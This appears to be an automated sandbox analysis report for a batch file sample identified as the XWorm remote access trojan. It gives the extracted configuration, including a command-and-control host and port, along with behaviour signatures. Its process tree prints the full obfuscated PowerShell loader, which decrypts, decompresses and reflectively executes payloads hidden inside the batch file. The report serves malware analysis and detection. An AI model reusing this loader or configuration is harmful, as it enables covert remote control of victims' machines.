Analysis
- max time kernel
150s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
07/07/2026, 17:52
General
- Target XClient.bat
- Size 54KB
- Sample260707-wf7cvsbs2s
- SHA256 ff93d90b297e3172501173aaa6144b0939ea15dd9c8f8a4c563289e5fcd252a0
Malware Config
Extracted
-
xworm
-
5.0
-
portbuddy.dev:48813
-
TvO5ORVP5tvFAMgK
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5ilnIdH18ZyUDDFhdGbstSvQgXUIobylCdb6G7SaB0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OGL7ksx9Dbh+5AhOFqkQlw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jDLGo=New-Object System.IO.MemoryStream(,$param_var); $Mclri=New-Object System.IO.MemoryStream; $vJIHc=New-Object System.IO.Compression.GZipStream($jDLGo, [IO.Compression.CompressionMode]::Decompress); $vJIHc.CopyTo($Mclri); $vJIHc.Dispose(); $jDLGo.Dispose(); $Mclri.Dispose(); $Mclri.ToArray();}function execute_function($param_var,$param2_var){ $stxpN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $FJkje=$stxpN.EntryPoint; $FJkje.Invoke($null, $param2_var);}$fTfKI = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$host.UI.RawUI.WindowTitle = $fTfKI;$BsBfJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fTfKI).Split([Environment]::NewLine);foreach ($geOEf in $BsBfJ) { if ($geOEf.StartsWith(':: ')) { $HlyBz=$geOEf.Substring(3); break; }}$payloads_var=[string[]]$HlyBz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDC0E.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
tmpDC0E.tmp.bat
memory/3036-12-0x00000198D9330000-0x00000198D9338000-memory.dmp
memory/3036-14-0x00000198D9370000-0x00000198D937E000-memory.dmp
memory/3036-5-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-6-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-7-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-8-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-9-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-10-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-11-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-15-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-3-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-13-0x00000198D9360000-0x00000198D936C000-memory.dmp
memory/3036-0-0x00007FFF8805F000-0x00007FFF88060000-memory.dmp
memory/3036-16-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-17-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-18-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-20-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-21-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-22-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-23-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp
memory/3036-4-0x00000198D92A0000-0x00000198D92C2000-memory.dmp
memory/3036-28-0x00007FFF87ED0000-0x00007FFF88874000-memory.dmp